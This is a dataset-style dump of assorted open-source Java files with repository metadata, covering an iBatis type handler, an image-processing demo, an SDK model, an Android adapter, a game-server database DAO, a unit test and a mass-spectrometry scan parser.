926cbd3bdd8687eccc800a663c52ef90f5307585
|
[] |
no_license
|
enboling/otter
|
b6bbf67c1ed16c25881c95cd306658a7b3806405
|
b76a2b15070bd4ca42895b5aa125fdf7a3f73269
|
refs/heads/master
| 2021-01-16T20:22:42.295422
| 2013-08-16T10:03:58
| 2013-08-16T10:03:58
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 938
|
java
|
package com.alibaba.otter.manager.biz.config.utils;
import java.sql.SQLException;
import java.util.Map;
import com.alibaba.otter.shared.common.utils.JsonUtils;
import com.ibatis.sqlmap.client.extensions.ParameterSetter;
import com.ibatis.sqlmap.client.extensions.ResultGetter;
import com.ibatis.sqlmap.client.extensions.TypeHandlerCallback;
/**
* 用于Map数据结构的解析,ibatis相关
*
* @author simon
*/
public class MapTypeHandler implements TypeHandlerCallback {
@Override
public void setParameter(ParameterSetter setter, Object parameter) throws SQLException {
setter.setString(JsonUtils.marshalToString(parameter));
}
@Override
public Object getResult(ResultGetter getter) throws SQLException {
return JsonUtils.unmarshalFromString(getter.getString(), Map.class);
}
public Object valueOf(String s) {
return JsonUtils.unmarshalFromString(s, Map.class);
}
}
|
[
"jianghang115@gmail.com"
] |
jianghang115@gmail.com
|
80526d575b1d6240d331a7ea3de4fc12121d1a5a
|
c3ad4c6aab6c664093e9c3c431f5827d30bd09e4
|
/src/main/java/net/haesleinhuepf/imagej/demo/FlipCLDemo.java
|
c1be7726e1f9d82bbbee941294f1606c7ecf931b
|
[] |
no_license
|
skalarproduktraum/clearclij
|
a28072d07fe74fcc3b8e396dddeda0c1516983a3
|
da8cb84f971e62aa9183c0f2868b702514eb3316
|
refs/heads/master
| 2020-04-09T18:35:57.111136
| 2018-12-05T09:40:37
| 2018-12-05T09:40:37
| 160,517,396
| 0
| 0
| null | 2018-12-05T12:48:48
| 2018-12-05T12:48:48
| null |
UTF-8
|
Java
| false
| false
| 2,069
|
java
|
package net.haesleinhuepf.imagej.demo;
import clearcl.ClearCLImage;
import net.haesleinhuepf.imagej.ClearCLIJ;
import ij.IJ;
import ij.ImageJ;
import ij.ImagePlus;
import ij.plugin.Duplicator;
import net.imglib2.RandomAccessibleInterval;
import net.imglib2.img.display.imagej.ImageJFunctions;
import net.imglib2.type.numeric.integer.UnsignedShortType;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
/**
* This
*
* Author: Robert Haase (http://haesleinhuepf.net) at MPI CBG (http://mpi-cbg.de)
* February 2018
*/
public class FlipCLDemo
{
public static void main(String... args) throws IOException
{
new ImageJ();
ImagePlus
lInputImagePlus =
IJ.openImage("src/main/resources/flybrain.tif");
RandomAccessibleInterval<UnsignedShortType>
lInputImg =
ImageJFunctions.wrap(lInputImagePlus);
RandomAccessibleInterval<UnsignedShortType>
lOutputImg =
ImageJFunctions.wrap(new Duplicator().run(lInputImagePlus));
ImageJFunctions.show(lInputImg);
ClearCLIJ lCLIJ = new ClearCLIJ("hd"); //ClearCLIJ.getInstance();
// ---------------------------------------------------------------
// Example 1: Flip image in X
{
ClearCLImage
lSrcImage =
lCLIJ.converter(lInputImg).getClearCLImage();
ClearCLImage
lDstImage =
lCLIJ.converter(lOutputImg).getClearCLImage();
Map<String, Object> lParameterMap = new HashMap<>();
lParameterMap.put("src", lSrcImage);
lParameterMap.put("dst", lDstImage);
lParameterMap.put("flipx", 1);
lParameterMap.put("flipy", 0);
lParameterMap.put("flipz", 0);
lCLIJ.execute("src/main/java/clearcl/imagej/kernels/flip.cl",
"flip_3d",
lParameterMap);
RandomAccessibleInterval
lResultImg =
lCLIJ.converter(lDstImage).getRandomAccessibleInterval();
ImageJFunctions.show(lResultImg);
}
}
}
|
[
"rhaase@mpi-cbg.de"
] |
rhaase@mpi-cbg.de
|
2771483bab34f90c1045c4252af33ddd8512651f
|
d884455a9fbc20e77d72535546e6b5c455a8a4fb
|
/ZipEngine/src/com/progdan/zipengine/apps/Deck.java
|
4006e53ea1370a33e91282dc439f7313869237af
|
[] |
no_license
|
maksymmykytiuk/EDMIS
|
53634f4d071829a805f58efd497eba011f4e2c03
|
4dff1ca6f68cede51ee9f6076d1641fd1c5711fd
|
refs/heads/master
| 2021-05-28T20:03:38.711307
| 2013-02-08T18:21:20
| 2013-02-08T18:21:20
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 1,049
|
java
|
// Decompiled by DJ v3.7.7.81 Copyright 2004 Atanas Neshkov Date: 2/12/2004 17:14:35
// Home Page : http://members.fortunecity.com/neshkov/dj.html - Check often for new version!
// Decompiler options: packimports(3)
// Source File Name: Deck.java
package com.progdan.zipengine.apps;
import java.util.Random;
public class Deck
{
public int ncards()
{
return ncards;
}
public Deck(int i)
{
r = new Random();
cards = new int[i];
ncards = i;
for(int j = 0; j < i; j++)
cards[j] = j;
}
public void discard(int i)
{
for(int j = 0; j < i; j++)
draw();
}
public int draw()
{
int i = r.nextInt();
if(i < 0)
i = -i;
i %= ncards;
ncards--;
int j = cards[ncards];
cards[ncards] = cards[i];
cards[i] = j;
return cards[ncards];
}
public Random r;
private int cards[];
private int ncards;
}
|
[
"progdan@gmail.com"
] |
progdan@gmail.com
|
7f3fc8627e3c25010614b2c82c3b705445bfed64
|
73267be654cd1fd76cf2cb9ea3a75630d9f58a41
|
/services/projectman/src/main/java/com/huaweicloud/sdk/projectman/v4/model/ListProjectIssuesRecordsV4Response.java
|
b03c46f14936116eba14ca9f59e7b05ac72c5f22
|
[
"Apache-2.0"
] |
permissive
|
huaweicloud/huaweicloud-sdk-java-v3
|
51b32a451fac321a0affe2176663fed8a9cd8042
|
2f8543d0d037b35c2664298ba39a89cc9d8ed9a3
|
refs/heads/master
| 2023-08-29T06:50:15.642693
| 2023-08-24T08:34:48
| 2023-08-24T08:34:48
| 262,207,545
| 91
| 57
|
NOASSERTION
| 2023-09-08T12:24:55
| 2020-05-08T02:27:00
|
Java
|
UTF-8
|
Java
| false
| false
| 3,138
|
java
|
package com.huaweicloud.sdk.projectman.v4.model;
import com.fasterxml.jackson.annotation.JsonInclude;
import com.fasterxml.jackson.annotation.JsonProperty;
import com.huaweicloud.sdk.core.SdkResponse;
import java.util.ArrayList;
import java.util.List;
import java.util.Objects;
import java.util.function.Consumer;
/**
* Response Object
*/
public class ListProjectIssuesRecordsV4Response extends SdkResponse {
@JsonInclude(JsonInclude.Include.NON_NULL)
@JsonProperty(value = "records")
private List<IssueAttrHistoryRecord> records = null;
@JsonInclude(JsonInclude.Include.NON_NULL)
@JsonProperty(value = "total")
private Integer total;
public ListProjectIssuesRecordsV4Response withRecords(List<IssueAttrHistoryRecord> records) {
this.records = records;
return this;
}
public ListProjectIssuesRecordsV4Response addRecordsItem(IssueAttrHistoryRecord recordsItem) {
if (this.records == null) {
this.records = new ArrayList<>();
}
this.records.add(recordsItem);
return this;
}
public ListProjectIssuesRecordsV4Response withRecords(Consumer<List<IssueAttrHistoryRecord>> recordsSetter) {
if (this.records == null) {
this.records = new ArrayList<>();
}
recordsSetter.accept(this.records);
return this;
}
/**
* 历史记录
* @return records
*/
public List<IssueAttrHistoryRecord> getRecords() {
return records;
}
public void setRecords(List<IssueAttrHistoryRecord> records) {
this.records = records;
}
public ListProjectIssuesRecordsV4Response withTotal(Integer total) {
this.total = total;
return this;
}
/**
* 总数
* @return total
*/
public Integer getTotal() {
return total;
}
public void setTotal(Integer total) {
this.total = total;
}
@Override
public boolean equals(java.lang.Object obj) {
if (this == obj) {
return true;
}
if (obj == null || getClass() != obj.getClass()) {
return false;
}
ListProjectIssuesRecordsV4Response that = (ListProjectIssuesRecordsV4Response) obj;
return Objects.equals(this.records, that.records) && Objects.equals(this.total, that.total);
}
@Override
public int hashCode() {
return Objects.hash(records, total);
}
@Override
public String toString() {
StringBuilder sb = new StringBuilder();
sb.append("class ListProjectIssuesRecordsV4Response {\n");
sb.append(" records: ").append(toIndentedString(records)).append("\n");
sb.append(" total: ").append(toIndentedString(total)).append("\n");
sb.append("}");
return sb.toString();
}
/**
* Convert the given object to string with each line indented by 4 spaces
* (except the first line).
*/
private String toIndentedString(java.lang.Object o) {
if (o == null) {
return "null";
}
return o.toString().replace("\n", "\n ");
}
}
|
[
"hwcloudsdk@huawei.com"
] |
hwcloudsdk@huawei.com
|
30ed5d3d812a461978627334d1d6fed2722ccb8c
|
a02b9f80dd2f039a9d12d206af38d44aedc24e66
|
/SillyChildTrave/app/src/main/java/com/yinglan/sct/adapter/loginregister/SelectCountryCodeViewAdapter.java
|
a5679cb3d4defbd465ae4dec33e2440e47f45094
|
[
"Apache-2.0"
] |
permissive
|
921668753/SillyChildTravel-Android
|
6bab2129cb3cb9b600166193f478cb5a64651722
|
eb2574bf1bb5934b3efbc7cb87f0a8ec3bbfa03f
|
refs/heads/master
| 2020-03-31T15:35:51.838597
| 2018-10-19T10:13:20
| 2018-10-19T10:13:20
| 152,343,076
| 0
| 0
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 2,582
|
java
|
package com.yinglan.sct.adapter.loginregister;
import android.content.Context;
import android.support.v7.widget.RecyclerView;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.TextView;
import com.yinglan.sct.R;
import com.yinglan.sct.entity.loginregister.SelectCountryCodeBean.DataBean;
import java.util.List;
/**
* 国家地区码 适配器
* Created by Admin on 2017/8/15.
*/
public class SelectCountryCodeViewAdapter extends RecyclerView.Adapter<SelectCountryCodeViewAdapter.ViewHolder> {
protected Context mContext;
protected List<DataBean> mDatas;
protected LayoutInflater mInflater;
private ViewCallBack callBack;//回调
public SelectCountryCodeViewAdapter(Context mContext, List<DataBean> mDatas) {
this.mContext = mContext;
this.mDatas = mDatas;
mInflater = LayoutInflater.from(mContext);
}
public List<DataBean> getDatas() {
return mDatas;
}
public SelectCountryCodeViewAdapter setDatas(List<DataBean> datas) {
mDatas = datas;
return this;
}
@Override
public ViewHolder onCreateViewHolder(ViewGroup parent, int viewType) {
return new ViewHolder(mInflater.inflate(R.layout.item_selectcountry, parent, false));
}
@Override
public void onBindViewHolder(final ViewHolder holder, final int position) {
final DataBean resultBean = mDatas.get(position);
holder.tv_country.setText(resultBean.getChina_name());
holder.tv_areaCode.setText("+" + resultBean.getCountry_code());
holder.content.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
callBack.onClickListener(resultBean.getCountry_code());
}
});
}
@Override
public int getItemCount() {
return mDatas != null ? mDatas.size() : 0;
}
public static class ViewHolder extends RecyclerView.ViewHolder {
TextView tv_country;
TextView tv_areaCode;
View content;
public ViewHolder(View itemView) {
super(itemView);
tv_country = (TextView) itemView.findViewById(R.id.tv_country);
tv_areaCode = (TextView) itemView.findViewById(R.id.tv_areaCode);
content = itemView.findViewById(R.id.content);
}
}
public void setViewCallBack(ViewCallBack callBack) {
this.callBack = callBack;
}
public interface ViewCallBack {
void onClickListener(String code);
}
}
|
[
"921668753@qq.com"
] |
921668753@qq.com
|
1dda374ecc38d7fbbd6ff658a462b6368cbb3db3
|
27f6a988ec638a1db9a59cf271f24bf8f77b9056
|
/Code-Hunt-data/users/User031/Sector3-Level4/attempt028-20140920-203923.java
|
4434d3efe1af78f87c3280e7186c3d926dc463c1
|
[] |
no_license
|
liiabutler/Refazer
|
38eaf72ed876b4cfc5f39153956775f2123eed7f
|
991d15e05701a0a8582a41bf4cfb857bf6ef47c3
|
refs/heads/master
| 2021-07-22T06:44:46.453717
| 2017-10-31T01:43:42
| 2017-10-31T01:43:42
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 401
|
java
|
public class Program {
public static Boolean Puzzle(char c) {
int ascii = (int) c;
if(!(Character.isWhitespace(c)) && (ascii == 119 ||ascii == 115 ||ascii == 118 ||ascii == 114 ||ascii == 107 ||ascii == 102 ||ascii == 100 ||ascii == 104 ||ascii == 108 ||ascii == 116 ||ascii == 120 ||ascii == 113 ||ascii == 106 || ascii == 98 || ascii == 121))
{
return false;
}
return true;
}
}
|
[
"liiabiia@yahoo.com"
] |
liiabiia@yahoo.com
|
7784c9b9ac20db54bfdeccf3a5e856b660d7354d
|
544cfadc742536618168fc80a5bd81a35a5f2c99
|
/external/conscrypt/repackaged/platform/src/main/java/com/android/org/conscrypt/NativeCryptoJni.java
|
254b45c2086990aeb7381746c85fdc127fb6ba7c
|
[
"Apache-2.0"
] |
permissive
|
ZYHGOD-1/Aosp11
|
0400619993b559bf4380db2da0addfa9cccd698d
|
78a61ca023cbf1a0cecfef8b97df2b274ac3a988
|
refs/heads/main
| 2023-04-21T20:13:54.629813
| 2021-05-22T05:28:21
| 2021-05-22T05:28:21
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 948
|
java
|
/* GENERATED SOURCE. DO NOT MODIFY. */
/*
* Copyright 2015 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.android.org.conscrypt;
/**
* Helper to initialize the JNI libraries. This version runs when compiled
* as part of the platform.
*/
class NativeCryptoJni {
public static void init() {
System.loadLibrary("javacrypto");
}
private NativeCryptoJni() {
}
}
|
[
"rick_tan@qq.com"
] |
rick_tan@qq.com
|
ae2aef6a7877d3314a3a03ef2dc349c3b703fec1
|
c9ae5bbaf082abe43738a7f17ffab43309327977
|
/Source/FA-GameServer/data/scripts/system/database/mysql5/MySQL5PlayerSkillListDAO.java
|
80683a3b70a00cbc890ab8e74f388df0fa99c22e
|
[] |
no_license
|
Ace65/emu-santiago
|
2071f50e83e3e4075b247e4265c15d032fc13789
|
ddb2a59abd9881ec95c58149c8bf27f313e3051c
|
refs/heads/master
| 2021-01-13T00:43:18.239492
| 2012-02-22T21:14:53
| 2012-02-22T21:14:53
| 54,834,822
| 0
| 1
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 5,841
|
java
|
/*
* This file is part of aion-emu <aion-emu.com>.
*
* aion-emu is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* aion-emu is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with aion-emu. If not, see <http://www.gnu.org/licenses/>.
*/
package mysql5;
import gameserver.dao.PlayerSkillListDAO;
import gameserver.model.gameobjects.PersistentState;
import gameserver.model.gameobjects.player.Player;
import gameserver.model.gameobjects.player.SkillList;
import gameserver.model.gameobjects.player.SkillListEntry;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.util.HashMap;
import java.util.Map;
import org.apache.log4j.Logger;
import commons.database.DatabaseFactory;
/**
* Created on: 15.07.2009 19:33:07
* Edited On: 13.09.2009 19:48:00
*
* @author IceReaper, orfeo087, Avol, AEJTester
*/
public class MySQL5PlayerSkillListDAO extends PlayerSkillListDAO
{
private static final Logger log = Logger.getLogger(MySQL5PlayerSkillListDAO.class);
public static final String INSERT_QUERY = "INSERT INTO `player_skills` (`player_id`, `skillId`, `skillLevel`) VALUES (?,?,?) ON DUPLICATE KEY UPDATE `skillLevel` = ?;";
public static final String UPDATE_QUERY = "UPDATE `player_skills` set skillLevel=? where player_id=? AND skillId=?";
public static final String DELETE_QUERY = "DELETE FROM `player_skills` WHERE `player_id`=? AND skillId=?";
public static final String SELECT_QUERY = "SELECT `skillId`, `skillLevel` FROM `player_skills` WHERE `player_id`=?";
/** {@inheritDoc} */
@Override
public SkillList loadSkillList(final int playerId)
{
Map<Integer, SkillListEntry> skills = new HashMap<Integer, SkillListEntry>();
Connection con = null;
try
{
con = DatabaseFactory.getConnection();
PreparedStatement stmt = con.prepareStatement(SELECT_QUERY);
stmt.setInt(1, playerId);
ResultSet rset = stmt.executeQuery();
while(rset.next())
{
int id = rset.getInt("skillId");
int lv = rset.getInt("skillLevel");
skills.put(id, new SkillListEntry(id, false, lv, PersistentState.UPDATED));
}
rset.close();
stmt.close();
}
catch (Exception e)
{
log.fatal("Could not restore SkillList data for player: " + playerId + " from DB: "+e.getMessage(), e);
}
finally
{
DatabaseFactory.close(con);
}
return new SkillList(skills);
}
/**
* Stores all player skills according to their persistence state
*/
@Override
public boolean storeSkills(Player player)
{
SkillListEntry[] skillsActive = player.getSkillList().getAllSkills();
SkillListEntry[] skillsDeleted = player.getSkillList().getDeletedSkills();
store(player, skillsActive);
store(player, skillsDeleted);
return true;
}
/**
*
* @param player
* @param skills
*/
private void store(Player player, SkillListEntry[] skills)
{
for(int i = 0; i < skills.length ; i++)
{
SkillListEntry skill = skills[i];
switch(skill.getPersistentState())
{
case NEW:
addSkill(player.getObjectId(), skill.getSkillId(), skill.getSkillLevel());
break;
case UPDATE_REQUIRED:
updateSkill(player.getObjectId(), skill.getSkillId(), skill.getSkillLevel());
break;
case DELETED:
deleteSkill(player.getObjectId(), skill.getSkillId());
break;
}
skill.setPersistentState(PersistentState.UPDATED);
}
}
/**
* Add a skill information into database
*
* @param playerId player object id
* @param skill skill contents.
*/
private void addSkill(final int playerId, final int skillId, final int skillLevel)
{
Connection con = null;
try
{
con = DatabaseFactory.getConnection();
PreparedStatement stmt = con.prepareStatement(INSERT_QUERY);
stmt.setInt(1, playerId);
stmt.setInt(2, skillId);
stmt.setInt(3, skillLevel);
stmt.setInt(4, skillLevel);
stmt.execute();
}
catch(Exception e)
{
log.error(e);
}
finally
{
DatabaseFactory.close(con);
}
}
/**
* Updates skill in database (after level change)
*
* @param playerId
* @param skillId
* @param skillLevel
*/
private void updateSkill(final int playerId, final int skillId, final int skillLevel)
{
Connection con = null;
try
{
con = DatabaseFactory.getConnection();
PreparedStatement stmt = con.prepareStatement(UPDATE_QUERY);
stmt.setInt(1, skillLevel);
stmt.setInt(2, playerId);
stmt.setInt(3, skillId);
stmt.execute();
}
catch(Exception e)
{
log.error(e);
}
finally
{
DatabaseFactory.close(con);
}
}
/**
* Deletes skill from database
*
* @param playerId
* @param skillId
*/
private void deleteSkill(final int playerId, final int skillId)
{
Connection con = null;
try
{
con = DatabaseFactory.getConnection();
PreparedStatement stmt = con.prepareStatement(DELETE_QUERY);
stmt.setInt(1, playerId);
stmt.setInt(2, skillId);
stmt.execute();
}
catch(Exception e)
{
log.error(e);
}
finally
{
DatabaseFactory.close(con);
}
}
@Override
public boolean supports(String databaseName, int majorVersion, int minorVersion)
{
return MySQL5DAOUtils.supports(databaseName, majorVersion, minorVersion);
}
}
|
[
"mixerdj.carlos@gmail.com"
] |
mixerdj.carlos@gmail.com
|
0fb8539e47a78aa098df2552a4fafb99ac2502d7
|
191ec4cbcc1c5c2a7535bea528584e7c46f5f526
|
/univocity-trader-core/src/test/java/com/univocity/trader/indicators/MovingAverageTest.java
|
c4a0a29179ebc2b5d1449dfafd2c8cddfedfe174
|
[
"LicenseRef-scancode-warranty-disclaimer",
"Apache-2.0",
"LicenseRef-scancode-unknown-license-reference"
] |
permissive
|
worthmining/univocity-trader
|
2e1e237dfad4db9cd70bf45cd649e3807a522a63
|
2f8b6d431885017132dc27e87a494b5b6c10aa5c
|
refs/heads/master
| 2020-12-10T19:21:17.048626
| 2020-01-13T12:59:39
| 2020-01-13T12:59:39
| 233,686,422
| 1
| 0
|
Apache-2.0
| 2020-01-13T20:25:54
| 2020-01-13T20:25:53
| null |
UTF-8
|
Java
| false
| false
| 2,648
|
java
|
package com.univocity.trader.indicators;
import org.junit.*;
import static com.univocity.trader.candles.CandleHelper.*;
import static com.univocity.trader.indicators.base.TimeInterval.*;
import static junit.framework.TestCase.*;
public class MovingAverageTest {
@Test
public void isUsable() {
MovingAverage ma = new MovingAverage(5, minutes(1));
assertEquals(1.0, accumulate(ma, 1, 1.0), 0.001);
assertEquals(1.5, accumulate(ma, 2, 2.0), 0.001);
assertEquals(1.3333, accumulate(ma, 3, 1.0), 0.001);
assertEquals(1.5, accumulate(ma, 4, 2.0), 0.001);
assertEquals(1.6, accumulate(ma, 5, 2.0), 0.001);
assertEquals(1.8, accumulate(ma, 6, 2.0), 0.001);
assertEquals(1.8, accumulate(ma, 7, 2.0), 0.001);
assertEquals(2.0, accumulate(ma, 8, 2.0), 0.001);
// 2 min
ma = new MovingAverage(2, minutes(2));
ma.recalculateEveryTick(true);
assertEquals(1.0, accumulate(ma, 1, 1.0), 0.001);
assertEquals(2.0, accumulate(ma, 2, 2.0), 0.001);
assertEquals(1.5, accumulate(ma, 3, 1.0), 0.001);
assertEquals(1.75, accumulate(ma, 4, 1.5), 0.001);
assertEquals(1.25, accumulate(ma, 5, 1.0), 0.001);
assertEquals(3.25, accumulate(ma, 6, 5.0), 0.001);
assertEquals(5.0, accumulate(ma, 7, 5.0), 0.001);
assertEquals(3.0, accumulate(ma, 8, 1.0), 0.001);
// 2 min
ma = new MovingAverage(2, minutes(2));
ma.recalculateEveryTick(true);
assertEquals(1.0, accumulate(ma, 3, 1.0), 0.001); //update
assertEquals(1.5, accumulate(ma, 3, 1.5), 0.001); //update again, same instant
assertEquals(1.5, accumulate(ma, 2, 2.0), 0.001); //noop, previous instant
assertEquals(9.0, accumulate(ma, 4, 9.0), 0.001);
// 2 min
ma = new MovingAverage(2, minutes(2));
ma.recalculateEveryTick(true);
assertEquals(1.0, update(ma, 1, 1.0), 0.001);
assertEquals(2.0, update(ma, 2, 2.0), 0.001);
assertEquals(1.5, update(ma, 3, 1.0), 0.001);
assertEquals(1.75, update(ma, 4, 1.5), 0.001);
assertEquals(1.25, update(ma, 5, 1.0), 0.001);
assertEquals(3.25, update(ma, 6, 5.0), 0.001);
assertEquals(5.0, update(ma, 7, 5.0), 0.001);
assertEquals(3.0, update(ma, 8, 1.0), 0.001);
// 3 min
ma = new MovingAverage(2, minutes(3));
ma.recalculateEveryTick(true);
assertEquals(1.0, update(ma, 1, 1.0), 0.001);
assertEquals(2.0, update(ma, 2, 2.0), 0.001);
assertEquals(1.0, update(ma, 3, 1.0), 0.001);
assertEquals(1.25, update(ma, 4, 1.5), 0.001);
assertEquals(1.0, update(ma, 5, 1.0), 0.001);
assertEquals(3.0, update(ma, 6, 5.0), 0.001);
assertEquals(5.0, update(ma, 7, 5.0), 0.001);
assertEquals(3.0, update(ma, 8, 1.0), 0.001);
assertEquals(3.5, update(ma, 9, 2.0), 0.001);
}
}
|
[
"jbax@univocity.com"
] |
jbax@univocity.com
|
a69f73aea773c9b0861a71d2e437a9ac4a2ad738
|
fa91450deb625cda070e82d5c31770be5ca1dec6
|
/Diff-Raw-Data/1/1_4739a53fed9ef9fc6665b4fd7ea5be68074793fb/Scan/1_4739a53fed9ef9fc6665b4fd7ea5be68074793fb_Scan_s.java
|
13577398a9817d19eb4e61da2cd71d24b2c1aa6b
|
[] |
no_license
|
zhongxingyu/Seer
|
48e7e5197624d7afa94d23f849f8ea2075bcaec0
|
c11a3109fdfca9be337e509ecb2c085b60076213
|
refs/heads/master
| 2023-07-06T12:48:55.516692
| 2023-06-22T07:55:56
| 2023-06-22T07:55:56
| 259,613,157
| 6
| 2
| null | 2023-06-22T07:55:57
| 2020-04-28T11:07:49
| null |
UTF-8
|
Java
| false
| false
| 7,377
|
java
|
package ru.spbau.bioinf.tagfinder;
import edu.ucsd.msalign.res.MassConstant;
import edu.ucsd.msalign.spec.peak.DeconvPeak;
import edu.ucsd.msalign.spec.sp.Ms;
import edu.ucsd.msalign.spec.sp.MsHeader;
import ru.spbau.bioinf.tagfinder.util.ReaderUtil;
import java.io.BufferedReader;
import java.io.File;
import java.io.IOException;
import java.io.PrintWriter;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
import java.util.Properties;
public class Scan {
private int id;
private List<Peak> peaks = new ArrayList<Peak>();
private double precursorMz;
private int precursorCharge;
private double precursorMass;
private String name;
public Scan(Properties prop, BufferedReader input, int scanId) throws IOException {
id = scanId;
name = Integer.toString(id);
precursorCharge = ReaderUtil.getIntValue(prop, "CHARGE");
precursorMass = ReaderUtil.getDoubleValue(prop, "MONOISOTOPIC_MASS");
List<String[]> datas;
while ((datas = ReaderUtil.readDataUntil(input, "END ENVELOPE")).size() > 0) {
double mass = 0;
double score = 0;
int charge = 0;
for (String[] data : datas) {
if (data.length > 3) {
if ("REAL_MONO_MASS".equals(data[2])) {
mass = Double.parseDouble(data[3]);
}
}
if ("CHARGE".equals(data[0])) {
charge = Integer.parseInt(data[1]);
}
if ("SCORE".equals(data[0])) {
score = Double.parseDouble(data[1]);
}
}
if (mass > 0) {
peaks.add(new Peak(mass, score , charge));
}
}
}
public Scan(Properties prop, BufferedReader input) throws IOException {
id = ReaderUtil.getIntValue(prop, "SCANS");
name = Integer.toString(id);
precursorMz = ReaderUtil.getDoubleValue(prop, "PRECURSOR_MZ");
precursorCharge = ReaderUtil.getIntValue(prop, "PRECURSOR_CHARGE");
precursorMass = ReaderUtil.getDoubleValue(prop, "PRECURSOR_MASS");
List<String[]> datas = ReaderUtil.readDataUntil(input, "END IONS");
for (String[] data : datas) {
double mass = Double.parseDouble(data[0]);
if (mass < precursorMass) {
peaks.add(new Peak(mass, Double.parseDouble(data[1]), Integer.parseInt(data[2])));
}
}
}
public Scan(Scan original, List<Peak> peaks, int proteinId) {
id = original.getId();
name = original.getName() + "/" + proteinId;
precursorMz = original.getPrecursorMz();
precursorCharge = original.getPrecursorCharge();
precursorMass = original.getPrecursorMass();
this.peaks.addAll(peaks);
}
public int getId() {
return id;
}
public String getName() {
return name;
}
public double getPrecursorMass() {
return precursorMass;
}
public List<Peak> getPeaks() {
return peaks;
}
public List<Peak> getYPeaks() {
List<Peak> yPeaks = new ArrayList<Peak>();
for (Peak peak : peaks) {
yPeaks.add(peak.getYPeak(precursorMass));
}
return yPeaks;
}
public int getPrecursorCharge() {
return precursorCharge;
}
public double getPrecursorMz() {
return precursorMz;
}
public List<Peak> createStandardSpectrum() {
List<Peak> peaks = new ArrayList<Peak>();
peaks.addAll(this.peaks);
peaks.add(new Peak(0, 0, 0));
peaks.add(new Peak(getPrecursorMass(), 0, 0));
Collections.sort(peaks);
return peaks;
}
public List<Peak> createSpectrumWithYPeaks(double precursorMassShift) {
List<Peak> peaks = new ArrayList<Peak>();
peaks.addAll(this.peaks);
peaks.add(new Peak(0, 0, 0));
double newPrecursorMass = precursorMass + precursorMassShift;
peaks.add(new Peak(newPrecursorMass, 0, 0));
for (Peak peak : this.peaks) {
peaks.add(peak.getYPeak(newPrecursorMass));
}
Collections.sort(peaks);
return peaks;
}
public void save(File dir) throws IOException {
File file = new File(dir, "scan_" + name.replaceAll("/", "_") + ".env");
PrintWriter out = ReaderUtil.createOutputFile(file);
out.println("BEGIN SPECTRUM");
out.println("ID -1");
out.println("SCANS " + id);
out.println("Ms_LEVEL 2");
out.println("ENVELOPE_NUMBER " + peaks.size());
out.println("MONOISOTOPIC_MASS " + precursorMass);
out.println("CHARGE " + precursorCharge);
for (Peak peak : peaks) {
out.println("BEGIN ENVELOPE");
out.println("REF_IDX 0");
out.println("CHARGE " + peak.getCharge());
out.println("SCORE " + peak.getIntensity());
out.println("THEO_PEAK_NUM 2 REAL_PEAK_NUM 2");
out.println("THEO_MONO_MZ 295.0114742929687 REAL_MONO_MZ 295.0114742929687");
out.println("THEO_MONO_MASS 294.0041982347717 REAL_MONO_MASS " + peak.getMass());
out.println("THEO_INTE_SUM 49471.15545654297 REAL_INTE_SUM 49471.15545654297");
out.println("295.01092529296875 43400.988214475015 true 55 295.01092529296875 48567.5703125");
out.println("296.01386829296877 6070.167242067955 true 57 296.0268859863281 903.5851440429688");
out.println("END ENVELOPE");
}
out.println("END SPECTRUM");
out.close();
}
public String saveTxt(File dir) throws IOException {
String scanName = "scan_" + name.replaceAll("/", "_") + ".txt";
File file = new File(dir, scanName);
PrintWriter out = ReaderUtil.createOutputFile(file);
out.println("BEGIN IONS");
out.println("ID=0");
out.println("SCANS=" + id);
out.println("PRECURSOR_MZ=" + precursorMz);
out.println("PRECURSOR_CHARGE=" + precursorCharge);
out.println("PRECURSOR_MASS=" + precursorMass);
for (Peak peak : peaks) {
out.println(peak.getMass() + "\t" + peak.getIntensity() + "\t" + peak.getCharge());
}
out.println("END IONS");
out.close();
return scanName;
}
public Ms<DeconvPeak> getMsDeconvPeaks() throws Exception {
DeconvPeak deconvPeaks[] = new DeconvPeak[peaks.size()];
for (int i = 0; i < peaks.size(); i++) {
Peak peak = peaks.get(i);
deconvPeaks[i] = new DeconvPeak(i, peak.getMass(), peak.getIntensity(), peak.getCharge());
}
MsHeader header = new MsHeader(precursorCharge);
header.setTitle("sp_" + id);
header.setPrecMonoMz(precursorMass / precursorCharge + MassConstant.getProtonMass());
header.setScans(Integer.toString(id));
header.setId(id);
Ms<DeconvPeak> deconvMs = new Ms<DeconvPeak>(deconvPeaks, header);
deconvMs.sortOnPos();
return deconvMs;
}
}
|
[
"yuzhongxing88@gmail.com"
] |
yuzhongxing88@gmail.com
|
95fc66a7015bb666bc667a3f5280f6df3c801a08
|
b57311e574b51a322963f44319365e5770716b66
|
/com.amazonaws.eclipse.core/src/com/amazonaws/eclipse/core/rss/FeedMessage.java
|
982a93bdf7d11d41d888f3c51c0a131cfd1b4923
|
[
"Apache-2.0"
] |
permissive
|
augint/aws-toolkit-eclipse
|
939ae2f00f5c33d0bf82ee6c96aa5886f14bf671
|
6336cb1043f2d03708001214e61e3afb4506e846
|
refs/heads/master
| 2021-01-22T16:04:58.223795
